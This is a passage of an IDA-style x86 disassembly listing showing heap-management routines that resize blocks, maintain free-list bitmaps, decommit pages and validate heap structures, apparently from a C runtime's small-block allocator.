sub_41D820+B4j mov esp, ebp pop ebp retn sub_41D820 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DA10 proc near ; CODE XREF: sub_41C620+50p ; sub_41C6D0+81p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 30h mov eax, [ebp+arg_8] add eax, 17h and al, 0F0h mov [ebp+var_1C], eax mov ecx, [ebp+arg_0] mov edx, [ecx+10h] mov [ebp+var_30], edx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] sub ecx, [eax+0Ch] mov [ebp+var_C], ecx mov edx, [ebp+var_C] shr edx, 0Fh mov [ebp+var_4], edx mov eax, [ebp+var_4] imul eax, 204h mov ecx, [ebp+var_30] lea edx, [ecx+eax+144h] mov [ebp+var_8], edx mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+var_14], eax mov ecx, [ebp+var_14] mov edx, [ecx] sub edx, 1 mov [ebp+var_28], edx mov eax, [ebp+var_14] add eax, [ebp+var_28] mov [ebp+var_2C], eax mov ecx, [ebp+var_2C] mov edx, [ecx] mov [ebp+var_10], edx mov eax, [ebp+var_1C] cmp eax, [ebp+var_28] jle loc_41DD36 mov ecx, [ebp+var_10] and ecx, 1 test ecx, ecx jnz short loc_41DA9B mov edx, [ebp+var_28] add edx, [ebp+var_10] cmp [ebp+var_1C], edx jle short loc_41DAA2 loc_41DA9B: ; CODE XREF: sub_41DA10+7Ej xor eax, eax jmp loc_41DFF7 ; --------------------------------------------------------------------------- loc_41DAA2: ; CODE XREF: sub_41DA10+89j mov eax, [ebp+var_10] sar eax, 4 sub eax, 1 mov [ebp+var_20], eax cmp [ebp+var_20], 3Fh jbe short loc_41DABB mov [ebp+var_20], 3Fh loc_41DABB: ; CODE XREF: sub_41DA10+A2j mov ecx, [ebp+var_2C] mov edx, [ebp+var_2C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_41DB9D cmp [ebp+var_20], 20h jnb short loc_41DB32 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_30] add edx, [ebp+var_20] mov [edx+4], cl mov eax, [ebp+var_30] add eax, [ebp+var_20] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_41DB30 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_41DB30: ; CODE XREF: sub_41DA10+106j jmp short loc_41DB9D ; --------------------------------------------------------------------------- loc_41DB32: ; CODE XREF: sub_41DA10+C1j mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_30] add ecx, [ebp+var_20] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], dl mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_41DB9D mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_41DB9D: ; CODE XREF: sub_41DA10+B7j ; sub_41DA10:loc_41DB30j ... mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov eax, [ebp+var_2C] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_2C] mov eax, [edx+4] mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_28] add eax, [ebp+var_10] sub eax, [ebp+var_1C] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jle loc_41DD17 mov ecx, [ebp+var_14] add ecx, [ebp+var_1C] mov [ebp+var_2C], ecx mov edx, [ebp+var_10] sar edx, 4 sub edx, 1 mov [ebp+var_20], edx cmp [ebp+var_20], 3Fh jbe short loc_41DBF3 mov [ebp+var_20], 3Fh loc_41DBF3: ; CODE XREF: sub_41DA10+1DAj mov eax, [ebp+var_20] mov ecx, [ebp+var_8] lea edx, [ecx+eax*8] mov [ebp+var_18], edx mov eax, [ebp+var_2C] mov ecx, [ebp+var_18] mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_2C] mov ecx, [ebp+var_18] mov [eax+8], ecx mov edx, [ebp+var_18] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+var_2C] mov edx, [ecx+4] mov eax, [ebp+var_2C] mov [edx+8], eax mov ecx, [ebp+var_2C] mov edx, [ebp+var_2C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_41DD03 cmp [ebp+var_20], 20h jnb short loc_41DC9C mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], cl test edx, edx jnz short loc_41DC7A mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax] or ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_41DC7A: ; CODE XREF: sub_41DA10+252j mov eax, 80000000h mov ecx, [ebp+var_20] shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+44h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+44h], ecx jmp short loc_41DD03 ; --------------------------------------------------------------------------- loc_41DC9C: ; CODE XREF: sub_41DA10+22Fj mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], cl test edx, edx jnz short loc_41DCDA mov ecx, [ebp+var_20] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, edx mov edx, [ebp+arg_0] mov [edx+4], ecx loc_41DCDA: ; CODE XREF: sub_41DA10+2ADj mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+0C4h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+0C4h], ecx loc_41DD03: ; CODE XREF: sub_41DA10+225j ; sub_41DA10+28Aj mov ecx, [ebp+var_2C] mov edx, [ebp+var_10] mov [ecx], edx mov eax, [ebp+var_2C] add eax, [ebp+var_10] mov ecx, [ebp+var_10] mov [eax-4], ecx loc_41DD17: ; CODE XREF: sub_41DA10+1BBj mov edx, [ebp+var_1C] add edx, 1 mov eax, [ebp+var_14] mov [eax], edx mov ecx, [ebp+var_1C] add ecx, 1 mov edx, [ebp+var_14] add edx, [ebp+var_1C] mov [edx-4], ecx jmp loc_41DFF2 ; --------------------------------------------------------------------------- loc_41DD36: ; CODE XREF: sub_41DA10+70j mov eax, [ebp+var_1C] cmp eax, [ebp+var_28] jge loc_41DFF2 mov ecx, [ebp+var_1C] add ecx, 1 mov edx, [ebp+var_14] mov [edx], ecx mov eax, [ebp+var_1C] add eax, 1 mov ecx, [ebp+var_14] add ecx, [ebp+var_1C] mov [ecx-4], eax mov edx, [ebp+var_14] add edx, [ebp+var_1C] mov [ebp+var_14], edx mov eax, [ebp+var_28] sub eax, [ebp+var_1C] mov [ebp+var_28], eax mov ecx, [ebp+var_28] sar ecx, 4 sub ecx, 1 mov [ebp+var_24], ecx cmp [ebp+var_24], 3Fh jbe short loc_41DD87 mov [ebp+var_24], 3Fh loc_41DD87: ; CODE XREF: sub_41DA10+36Ej mov edx, [ebp+var_10] and edx, 1 test edx, edx jnz loc_41DED0 mov eax, [ebp+var_10] sar eax, 4 sub eax, 1 mov [ebp+var_20], eax cmp [ebp+var_20], 3Fh jbe short loc_41DDAE mov [ebp+var_20], 3Fh loc_41DDAE: ; CODE XREF: sub_41DA10+395j mov ecx, [ebp+var_2C] mov edx, [ebp+var_2C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_41DE90 cmp [ebp+var_20], 20h jnb short loc_41DE25 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_30] add edx, [ebp+var_20] mov [edx+4], cl mov eax, [ebp+var_30] add eax, [ebp+var_20] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_41DE23 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_41DE23: ; CODE XREF: sub_41DA10+3F9j jmp short loc_41DE90 ; --------------------------------------------------------------------------- loc_41DE25: ; CODE XREF: sub_41DA10+3B4j mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_30] add ecx, [ebp+var_20] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], dl mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_41DE90 mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_41DE90: ; CODE XREF: sub_41DA10+3AAj ; sub_41DA10:loc_41DE23j ... mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov eax, [ebp+var_2C] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_2C] mov eax, [edx+4] mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_28] add eax, [ebp+var_10] mov [ebp+var_28], eax mov ecx, [ebp+var_28] sar ecx, 4 sub ecx, 1 mov [ebp+var_24], ecx cmp [ebp+var_24], 3Fh jbe short loc_41DED0 mov [ebp+var_24], 3Fh loc_41DED0: ; CODE XREF: sub_41DA10+37Fj ; sub_41DA10+4B7j mov edx, [ebp+var_24] mov eax, [ebp+var_8] lea ecx, [eax+edx*8] mov [ebp+var_18], ecx mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov [edx+8], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_14] mov [ecx+4], edx mov eax, [ebp+var_14] mov ecx, [eax+4] mov edx, [ebp+var_14] mov [ecx+8], edx mov eax, [ebp+var_14] mov ecx, [ebp+var_14] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_41DFDE cmp [ebp+var_24], 20h jnb short loc_41DF78 mov eax, [ebp+var_30] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_30] add edx, [ebp+var_24] mov al, [edx+4] add al, 1 mov edx, [ebp+var_30] add edx, [ebp+var_24] mov [edx+4], al test ecx, ecx jnz short loc_41DF56 mov eax, 80000000h mov ecx, [ebp+var_24] shr eax, cl mov ecx, [ebp+arg_0] mov edx, [ecx] or edx, eax mov eax, [ebp+arg_0] mov [eax], edx loc_41DF56: ; CODE XREF: sub_41DA10+52Ej mov edx, 80000000h mov ecx, [ebp+var_24] shr edx, cl mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+44h] or eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+44h], eax jmp short loc_41DFDE ; --------------------------------------------------------------------------- loc_41DF78: ; CODE XREF: sub_41DA10+50Cj mov eax, [ebp+var_30] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_30] add edx, [ebp+var_24] mov al, [edx+4] add al, 1 mov edx, [ebp+var_30] add edx, [ebp+var_24] mov [edx+4], al test ecx, ecx jnz short loc_41DFB5 mov ecx, [ebp+var_24] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_41DFB5: ; CODE XREF: sub_41DA10+588j mov ecx, [ebp+var_24] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+0C4h] or eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+0C4h], eax loc_41DFDE: ; CODE XREF: sub_41DA10+502j ; sub_41DA10+566j mov eax, [ebp+var_14] mov ecx, [ebp+var_28] mov [eax], ecx mov edx, [ebp+var_14] add edx, [ebp+var_28] mov eax, [ebp+var_28] mov [edx-4], eax loc_41DFF2: ; CODE XREF: sub_41DA10+321j ; sub_41DA10+32Cj mov eax, 1 loc_41DFF7: ; CODE XREF: sub_41DA10+8Dj mov esp, ebp pop ebp retn sub_41DA10 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_493770, 0 jz loc_41E12C mov eax, dword_493768 shl eax, 0Fh mov ecx, dword_493770 mov edx, [ecx+0Ch] add edx, eax mov [ebp-4], edx push 4000h push 8000h mov eax, [ebp-4] push eax call ds:dword_494450 mov edx, 80000000h mov ecx, dword_493768 shr edx, cl mov eax, dword_493770 mov ecx, [eax+8] or ecx, edx mov edx, dword_493770 mov [edx+8], ecx mov eax, dword_493770 mov ecx, [eax+10h] mov edx, dword_493768 mov dword ptr [ecx+edx*4+0C4h], 0 mov eax, dword_493770 mov ecx, [eax+10h] mov dl, [ecx+43h] sub dl, 1 mov eax, dword_493770 mov ecx, [eax+10h] mov [ecx+43h], dl mov edx, dword_493770 mov eax, [edx+10h] movsx ecx, byte ptr [eax+43h] test ecx, ecx jnz short loc_41E0B2 mov edx, dword_493770 mov eax, [edx+4] and al, 0FEh mov ecx, dword_493770 mov [ecx+4], eax loc_41E0B2: ; CODE XREF: .text:0041E09Cj mov edx, dword_493770 cmp dword ptr [edx+8], 0FFFFFFFFh jnz short loc_41E122 cmp dword_493774, 1 jle short loc_41E122 mov eax, dword_493770 mov ecx, [eax+10h] push ecx push 0 mov edx, dword_49377C push edx call ds:dword_494350 mov eax, dword_493774 imul eax, 14h mov ecx, dword_493778 add ecx, eax mov edx, dword_493770 add edx, 14h sub ecx, edx push ecx mov eax, dword_493770 add eax, 14h push eax mov ecx, dword_493770 push ecx call sub_426C00 add esp, 0Ch mov edx, dword_493774 sub edx, 1 mov dword_493774, edx loc_41E122: ; CODE XREF: .text:0041E0BCj ; .text:0041E0C5j mov dword_493770, 0 loc_41E12C: ; CODE XREF: .text:0041E00Bj mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E130 proc near ; CODE XREF: sub_41C930+15p var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 168h mov eax, dword_493774 imul eax, 14h push eax mov ecx, dword_493778 push ecx call ds:dword_494408 test eax, eax jz short loc_41E15B or eax, 0FFFFFFFFh jmp loc_41E749 ; --------------------------------------------------------------------------- loc_41E15B: ; CODE XREF: sub_41E130+21j mov edx, dword_493778 mov [ebp+var_13C], edx mov [ebp+var_120], 0 jmp short loc_41E182 ; --------------------------------------------------------------------------- loc_41E173: ; CODE XREF: sub_41E130+612j mov eax, [ebp+var_120] add eax, 1 mov [ebp+var_120], eax loc_41E182: ; CODE XREF: sub_41E130+41j mov ecx, [ebp+var_120] cmp ecx, dword_493774 jge loc_41E747 mov edx, [ebp+var_13C] mov eax, [edx+10h] mov [ebp+var_160], eax push 41C4h mov ecx, [ebp+var_160] push ecx call ds:dword_494408 test eax, eax jz short loc_41E1C3 mov eax, 0FFFFFFFEh jmp loc_41E749 ; --------------------------------------------------------------------------- loc_41E1C3: ; CODE XREF: sub_41E130+87j mov edx, [ebp+var_13C] mov eax, [edx+0Ch] mov [ebp+var_128], eax mov ecx, [ebp+var_160] add ecx, 144h mov [ebp+var_18], ecx mov edx, [ebp+var_13C] mov eax, [edx+8] mov [ebp+var_4], eax mov [ebp+var_144], 0 mov [ebp+var_158], 0 mov [ebp+var_C], 0 jmp short loc_41E213 ; --------------------------------------------------------------------------- loc_41E20A: ; CODE XREF: sub_41E130+5D6j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_41E213: ; CODE XREF: sub_41E130+D8j cmp [ebp+var_C], 20h jge loc_41E70B mov [ebp+var_11C], 0 mov [ebp+var_150], 0 mov [ebp+var_12C], 0 mov [ebp+var_14C], 0 jmp short loc_41E256 ; --------------------------------------------------------------------------- loc_41E247: ; CODE XREF: sub_41E130+140j mov edx, [ebp+var_14C] add edx, 1 mov [ebp+var_14C], edx loc_41E256: ; CODE XREF: sub_41E130+115j cmp [ebp+var_14C], 40h jge short loc_41E272 mov eax, [ebp+var_14C] mov [ebp+eax*4+var_118], 0 jmp short loc_41E247 ; --------------------------------------------------------------------------- loc_41E272: ; CODE XREF: sub_41E130+12Dj cmp [ebp+var_4], 0 jl loc_41E6AD push 8000h mov ecx, [ebp+var_128] push ecx call ds:dword_494408 test eax, eax jz short loc_41E29C mov eax, 0FFFFFFFCh jmp loc_41E749 ; --------------------------------------------------------------------------- loc_41E29C: ; CODE XREF: sub_41E130+160j mov edx, [ebp+var_128] mov [ebp+var_8], edx mov [ebp+var_140], 0 jmp short loc_41E2C0 ; --------------------------------------------------------------------------- loc_41E2B1: ; CODE XREF: sub_41E130+30Fj mov eax, [ebp+var_140] add eax, 1 mov [ebp+var_140], eax loc_41E2C0: ; CODE XREF: sub_41E130+17Fj cmp [ebp+var_140], 8 jge loc_41E444 mov ecx, [ebp+var_8] add ecx, 0Ch mov [ebp+var_130], ecx mov edx, [ebp+var_130] add edx, 0FF0h mov [ebp+var_138], edx mov eax, [ebp+var_130] cmp dword ptr [eax-4], 0FFFFFFFFh jnz short loc_41E302 mov ecx, [ebp+var_138] cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41E30C loc_41E302: ; CODE XREF: sub_41E130+1C5j mov eax, 0FFFFFFFBh jmp loc_41E749 ; --------------------------------------------------------------------------- loc_41E30C: ; CODE XREF: sub_41E130+1D0j ; sub_41E130+2E6j mov edx, [ebp+var_130] mov eax, [edx] mov [ebp+var_148], eax mov ecx, [ebp+var_148] mov [ebp+var_154], ecx mov edx, [ebp+var_154] and edx, 1 test edx, edx jz short loc_41E369 mov eax, [ebp+var_148] sub eax, 1 mov [ebp+var_148], eax cmp [ebp+var_148], 400h jle short loc_41E358 mov eax, 0FFFFFFFAh jmp loc_41E749 ; --------------------------------------------------------------------------- loc_41E358: ; CODE XREF: sub_41E130+21Cj mov ecx, [ebp+var_12C] add ecx, 1 mov [ebp+var_12C], ecx jmp short loc_41E3AB ; --------------------------------------------------------------------------- loc_41E369: ; CODE XREF: sub_41E130+201j mov edx, [ebp+var_148] sar edx, 4 sub edx, 1 mov [ebp+var_14C], edx cmp [ebp+var_14C], 3Fh jle short loc_41E38E mov [ebp+var_14C], 3Fh loc_41E38E: ; CODE XREF: sub_41E130+252j mov eax, [ebp+var_14C] mov ecx, [ebp+eax*4+var_118] add ecx, 1 mov edx, [ebp+var_14C] mov [ebp+edx*4+var_118], ecx loc_41E3AB: ; CODE XREF: sub_41E130+237j cmp [ebp+var_148], 10h jl short loc_41E3CD mov eax, [ebp+var_148] and eax, 0Fh test eax, eax jnz short loc_41E3CD cmp [ebp+var_148], 0FF0h jle short loc_41E3D7 loc_41E3CD: ; CODE XREF: sub_41E130+282j ; sub_41E130+28Fj mov eax, 0FFFFFFF9h jmp loc_41E749 ; --------------------------------------------------------------------------- loc_41E3D7: ; CODE XREF: sub_41E130+29Bj mov ecx, [ebp+var_130] add ecx, [ebp+var_148] mov edx, [ecx-4] cmp edx, [ebp+var_154] jz short loc_41E3F8 mov eax, 0FFFFFFF8h jmp loc_41E749 ; --------------------------------------------------------------------------- loc_41E3F8: ; CODE XREF: sub_41E130+2BCj mov eax, [ebp+var_130] add eax, [ebp+var_148] mov [ebp+var_130], eax mov ecx, [ebp+var_130] cmp ecx, [ebp+var_138] jb loc_41E30C mov edx, [ebp+var_130] cmp edx, [ebp+var_138] jz short loc_41E434 mov eax, 0FFFFFFF8h jmp loc_41E749 ; --------------------------------------------------------------------------- loc_41E434: ; CODE XREF: sub_41E130+2F8j mov eax, [ebp+var_8] add eax, 1000h mov [ebp+var_8], eax jmp loc_41E2B1 ; --------------------------------------------------------------------------- loc_41E444: ; CODE XREF: sub_41E130+197j mov ecx, [ebp+var_18] mov edx, [ecx] cmp edx, [ebp+var_12C] jz short loc_41E45B mov eax, 0FFFFFFF7h jmp loc_41E749 ; --------------------------------------------------------------------------- loc_41E45B: ; CODE XREF: sub_41E130+31Fj mov eax, [ebp+var_18] mov [ebp+var_134], eax mov [ebp+var_14], 0 jmp short loc_41E476 ; --------------------------------------------------------------------------- loc_41E46D: ; CODE XREF: sub_41E130+578j mov ecx, [ebp+var_14] add ecx, 1 mov [ebp+var_14], ecx loc_41E476: ; CODE XREF: sub_41E130+33Bj cmp [ebp+var_14], 40h jge loc_41E6AD mov [ebp+var_168], 0 mov edx, [ebp+var_134] mov [ebp+var_130], edx loc_41E496: ; CODE XREF: sub_41E130+4A5j mov eax, [ebp+var_130] mov ecx, [eax+4] mov [ebp+var_15C], ecx mov edx, [ebp+var_15C] cmp edx, [ebp+var_134] jz loc_41E5DA mov eax, [ebp+var_14] mov ecx, [ebp+var_168] cmp ecx, [ebp+eax*4+var_118] jz loc_41E5DA mov edx, [ebp+var_15C] cmp edx, [ebp+var_128] jb short loc_41E4EE mov eax, [ebp+var_128] add eax, 8000h cmp [ebp+var_15C], eax jb short loc_41E4F8 loc_41E4EE: ; CODE XREF: sub_41E130+3A9j mov eax, 0FFFFFFF6h jmp loc_41E749 ; --------------------------------------------------------------------------- loc_41E4F8: ; CODE XREF: sub_41E130+3BCj mov ecx, [ebp+var_15C] and ecx, 0FFFFF000h mov [ebp+var_164], ecx mov edx, [ebp+var_164] add edx, 0Ch mov [ebp+var_10], edx mov eax, [ebp+var_10] add eax, 0FF0h mov [ebp+var_124], eax loc_41E524: ; CODE XREF: sub_41E130+41Cj mov ecx, [ebp+var_10] cmp ecx, [ebp+var_124] jz short loc_41E54E mov edx, [ebp+var_10] cmp edx, [ebp+var_15C] jnz short loc_41E53C jmp short loc_41E54E ; --------------------------------------------------------------------------- loc_41E53C: ; CODE XREF: sub_41E130+408j mov eax, [ebp+var_10] mov ecx, [eax] and ecx, 0FFFFFFFEh mov edx, [ebp+var_10] add edx, ecx mov [ebp+var_10], edx jmp short loc_41E524 ; --------------------------------------------------------------------------- loc_41E54E: ; CODE XREF: sub_41E130+3FDj ; sub_41E130+40Aj mov eax, [ebp+var_10] cmp eax, [ebp+var_124] jnz short loc_41E563 mov eax, 0FFFFFFF5h jmp loc_41E749 ; --------------------------------------------------------------------------- loc_41E563: ; CODE XREF: sub_41E130+427j mov ecx, [ebp+var_15C] mov edx, [ecx] sar edx, 4 sub edx, 1 mov [ebp+var_14C], edx cmp [ebp+var_14C], 3Fh jle short loc_41E58A mov [ebp+var_14C], 3Fh loc_41E58A: ; CODE XREF: sub_41E130+44Ej mov eax, [ebp+var_14C] cmp eax, [ebp+var_14] jz short loc_41E59F mov eax, 0FFFFFFF4h jmp loc_41E749 ; --------------------------------------------------------------------------- loc_41E59F: ; CODE XREF: sub_41E130+463j mov ecx, [ebp+var_15C] mov edx, [ecx+8] cmp edx, [ebp+var_130] jz short loc_41E5BA mov eax, 0FFFFFFF3h jmp loc_41E749 ; --------------------------------------------------------------------------- loc_41E5BA: ; CODE XREF: sub_41E130+47Ej mov eax, [ebp+var_15C] mov [ebp+var_130], eax mov ecx, [ebp+var_168] add ecx, 1 mov [ebp+var_168], ecx jmp loc_41E496 ; --------------------------------------------------------------------------- loc_41E5DA: ; CODE XREF: sub_41E130+381j ; sub_41E130+397j cmp [ebp+var_168], 0 jz short loc_41E651 cmp [ebp+var_14], 20h jge short loc_41E61B mov edx, 80000000h mov ecx, [ebp+var_14] shr edx, cl mov eax, [ebp+var_11C] or eax, edx mov [ebp+var_11C], eax mov edx, 80000000h mov ecx, [ebp+var_14] shr edx, cl mov eax, [ebp+var_144] or eax, edx mov [ebp+var_144], eax jmp short loc_41E651 ; --------------------------------------------------------------------------- loc_41E61B: ; CODE XREF: sub_41E130+4B7j mov ecx, [ebp+var_14] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_150] or eax, edx mov [ebp+var_150], eax mov ecx, [ebp+var_14] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_158] or eax, edx mov [ebp+var_158], eax loc_41E651: ; CODE XREF: sub_41E130+4B1j ; sub_41E130+4E9j mov ecx, [ebp+var_130] mov edx, [ecx+4] cmp edx, [ebp+var_134] jnz short loc_41E674 mov eax, [ebp+var_14] mov ecx, [ebp+var_168] cmp ecx, [ebp+eax*4+var_118] jz short loc_41E67E loc_41E674: ; CODE XREF: sub_41E130+530j mov eax, 0FFFFFFF2h jmp loc_41E749 ; --------------------------------------------------------------------------- loc_41E67E: ; CODE XREF: sub_41E130+542j mov edx, [ebp+var_134] mov eax, [edx+8] cmp eax, [ebp+var_130] jz short loc_41E699 mov eax, 0FFFFFFF1h jmp loc_41E749 ; --------------------------------------------------------------------------- loc_41E699: ; CODE XREF: sub_41E130+55Dj mov ecx, [ebp+var_134] add ecx, 8 mov [ebp+var_134], ecx jmp loc_41E46D ; --------------------------------------------------------------------------- loc_41E6AD: ; CODE XREF: sub_41E130+146j ; sub_41E130+34Aj mov edx, [ebp+var_C] mov eax, [ebp+var_160] mov ecx, [ebp+var_11C] cmp ecx, [eax+edx*4+44h] jnz short loc_41E6DA mov edx, [ebp+var_C] mov eax, [ebp+var_160] mov ecx, [ebp+var_150] cmp ecx, [eax+edx*4+0C4h] jz short loc_41E6E1 loc_41E6DA: ; CODE XREF: sub_41E130+590j mov eax, 0FFFFFFF0h jmp short loc_41E749 ; --------------------------------------------------------------------------- loc_41E6E1: ; CODE XREF: sub_41E130+5A8j mov edx, [ebp+var_128] add edx, 8000h mov [ebp+var_128], edx mov eax, [ebp+var_18] add eax, 204h mov [ebp+var_18], eax mov ecx, [ebp+var_4] shl ecx, 1 mov [ebp+var_4], ecx jmp loc_41E20A ; --------------------------------------------------------------------------- loc_41E70B: ; CODE XREF: sub_41E130+E7j mov edx, [ebp+var_13C] mov eax, [ebp+var_144] cmp eax, [edx] jnz short loc_41E72C mov ecx, [ebp+var_13C] mov edx, [ebp+var_158] cmp edx, [ecx+4] jz short loc_41E733 loc_41E72C: ; CODE XREF: sub_41E130+5E9j mov eax, 0FFFFFFEFh jmp short loc_41E749 ; --------------------------------------------------------------------------- loc_41E733: ; CODE XREF: sub_41E130+5FAj mov eax, [ebp+var_13C] add eax, 14h mov [ebp+var_13C], eax jmp loc_41E173 ; --------------------------------------------------------------------------- loc_41E747: ; CODE XREF: sub_41E130+5Ej xor eax, eax loc_41E749: ; CODE XREF: sub_41E130+26j ; sub_41E130+8Ej ... mov esp, ebp pop ebp retn sub_41E130 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E750 proc near ; CODE XREF: sub_418730+66p ; sub_4194F0+19p ... var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 